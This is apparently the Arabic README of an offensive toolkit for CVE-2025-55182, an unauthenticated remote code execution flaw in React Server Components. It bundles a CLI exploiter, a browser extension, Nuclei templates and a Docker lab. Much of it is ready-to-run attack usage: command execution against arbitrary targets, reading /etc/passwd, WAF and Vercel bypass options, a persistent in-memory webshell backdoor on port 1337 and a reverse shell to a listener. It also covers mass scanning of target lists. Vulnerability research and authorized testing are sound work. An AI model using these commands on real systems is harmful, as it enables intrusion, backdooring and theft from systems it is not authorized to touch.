
CVE-2025-55182 مجموعة اختبار أمان: ماسح CLI + إضافة Chrome + قوالب Nuclei + مختبر Docker.
ماسح ضوئي ومجموعة أدوات استغلال CVE-2025-55182 لـ Next.js/React Server Components RCE.
React2Shell/
├── browser-extension/ # إضافة كروم للكشف عبر المتصفح
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # أداة سطر الأوامر للمسح والاستغلال
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # وثائق تعليمية
│ ├── README.md # فهرس مسار التعلم
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # بيئة مختبر Docker للاختبار
│ ├── vulnerable/ # تطبيق Next.js القابل للاستغلال (React 19.2.0)
│ ├── patched/ # تطبيق Next.js المُصحح (React 19.2.1)
│ ├── waf/ # حاوية ModSecurity WAF
│ ├── waku-app/ # تطبيق Waku القابل للاستغلال (React 19.2.0)
│ ├── react-router-app/ # تطبيق React Router القابل للاستغلال (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # قوالب Nuclei
├── CVE-2025-55182.yaml # كشف RCE (تنفيذ أوامر)
└── CVE-2025-55182-safe.yaml # كشف آمن عبر القناة الجانبية
cd cli
pip install -r requirements.txt
# مسح هدف
python react2shell.py https://target.com
# تنفيذ أمر
python react2shell.py https://target.com -c "id"
# شل تفاعلي
python react2shell.py https://target.com -i
chrome://extensions/browser-extensioncd lab
docker-compose up -d
# الأهداف القابلة للاستغلال:
# Next.js القابل للاستغلال: http://localhost:3011 ← RCE كامل
# Waku القابل للاستغلال: http://localhost:3014 ← RCE (أعمى - بلا إخراج HTTP)
# React Router: http://localhost:3015 ← RCE كامل (ESM)
# الأهداف المحمية:
# Next.js المصحح: http://localhost:3012 ← آمن
# محمي بـ WAF: http://localhost:3013 ← ModSecurity يمنع الاستغلال
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
cli/react2shell.py)--detect) - كشف تلقائي للإطار المستهدف-E) - اكتشاف نقاط RSC تلقائياً-c) - تشغيل أوامر عشوائية-i) - جلسة أوامر مستمرة-r) - أنواع متعددة: nc، bash، perl، python، ruby--webshell) - تثبيت باب خلفي دائم-f) - قراءة الملفات البعيدة مباشرة-L) - فحص package.json للإصدارات القابلة للاستغلال-w)، ترميز Unicode (-u)، خاص بـ Vercel (-V)-x) - التوجيه عبر Burp Suite أو وكلاء آخرين-s) - الكشف عبر القناة الجانبية دون تنفيذ أوامرbrowser-extension/)lab/)/RSC/F/{x}/{y}.txtprocess.getBuiltinModule() المتوافق مع ESM# مسح أساسي (كشف تلقائي للإطار)
python react2shell.py https://target.com
# كشف الإطار وتعداد النقاط الطرفية
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# تنفيذ أمر على أطر مختلفة
python react2shell.py https://target.com -c "id" # Next.js (تلقائي)
python react2shell.py https://target.com -F waku -c "id" # Waku (RCE أعمى)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# أمثلة مختبر مع إخراج
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# تنفيذ أمر مع جميع وسائل تجاوز WAF
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# شل تفاعلي عبر وكيل
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# تثبيت شل ويب في الذاكرة (إنشاء باب خلفي على المنفذ 1337)
python react2shell.py https://target.com --webshell mypassword
# الوصول: curl 'http://target:1337/?p=mypassword&cmd=id'
# شل عكسي
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# مسح مشروع محلي للإصدارات القابلة للاستغلال
python react2shell.py -L /path/to/project
# مسح دفعة مع إخراج
python react2shell.py targets.txt -t 20 -o results.json -v
خيارات التنفيذ:
-c, --cmd أمر للتنفيذ
-i, --interactive جلسة شل تفاعلية
-r, --reverse وضع الشل العكسي
-l, --lhost مضيف المستمع
-p, --lport منفذ المستمع
-S, --shell-type نوع الشل (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file قراءة ملف بعيد
خيارات المسح:
-P, --path مسارات للاختبار (مفصولة بفاصلة أو ملف)
-t, --threads عدد الخيوط (الافتراضي: 10)
-T, --timeout مهلة الطلب بالثواني (الافتراضي: 10)
-s, --safe الوضع الآمن (لا تنفيذ أوامر)
-L, --local مسح دليل مشروع محلي
-F, --framework الإطار المستهدف (auto, nextjs, waku, react-router, expo)
-E, --enumerate تعداد نقاط RSC قبل الاستغلال
--detect كشف الإطار فقط وسرد النقاط
--webshell تثبيت شل ويب في الذاكرة على المنفذ 1337
--rce وضع إثبات المفهوم RCE (الافتراضي: الوضع الآمن)
خيارات التجاوز:
-w, --waf-bypass حشو بيانات غير مفيدة
-W, --waf-size حجم الحشو بالكيلوبايت (الافتراضي: 128)
-u, --unicode تجاوز عبر ترميز Unicode
-V, --vercel-bypass تجاوز خاص بـ Vercel
--windows حمولات PowerShell لنظام Windows
خيارات الطلب:
-x, --proxy عنوان الوكيل (مثل http://127.0.0.1:8080)
-H, --header رؤوس مخصصة
-A, --user-agent وكيل مستخدم مخصص
-k, --insecure تعطيل التحقق من SSL
خيارات الإخراج:
-o, --output حفظ النتائج بصيغة JSON
-v, --verbose إخراج مفصل مع كشف الإصدار
-q, --quiet إظهار الأهداف القابلة للاستغلال فقط
--no-color تعطيل الألوان
--no-banner إخفاء الشعار
| الحقل | القيمة |
|---|---|
| CVSS | 10.0 (حرج) |
| التأثير | تنفيذ أوامر عن بعد دون مصادقة |
| المتأثر | أي إطار RSC يستخدم إصدارات React القابلة للاستغلال |
| الآلية | تلوث النموذج الأولي عبر بروتوكول React Flight |
| الإطار | القابل للاستغلال | المُصحح |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.2.1+ |
| Next.js | 14.0.0 - 15.4.7 | 15.4.8+ |
| Waku | < 0.27.2 | 0.27.2+ |
| React Router | 7.0.0 - 7.5.0 (معاينة RSC) | 7.5.1+ |
| Expo | RSC تجريبي | تحديث React |
| @vitejs/plugin-rsc | الكل مع React القابل للاستغلال | تحديث React |
| @parcel/rsc | الكل مع React القابل للاستغلال | تحديث React |
| RedwoodJS (rwsdk) | الكل مع React القابل للاستغلال | تحديث React |
هذه المجموعة مخصصة لاختبارات الأمان المصرح بها فقط. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
CVE-2025-55182 | CVSS 10.0 | لاختبارات الأمان المصرح بها فقط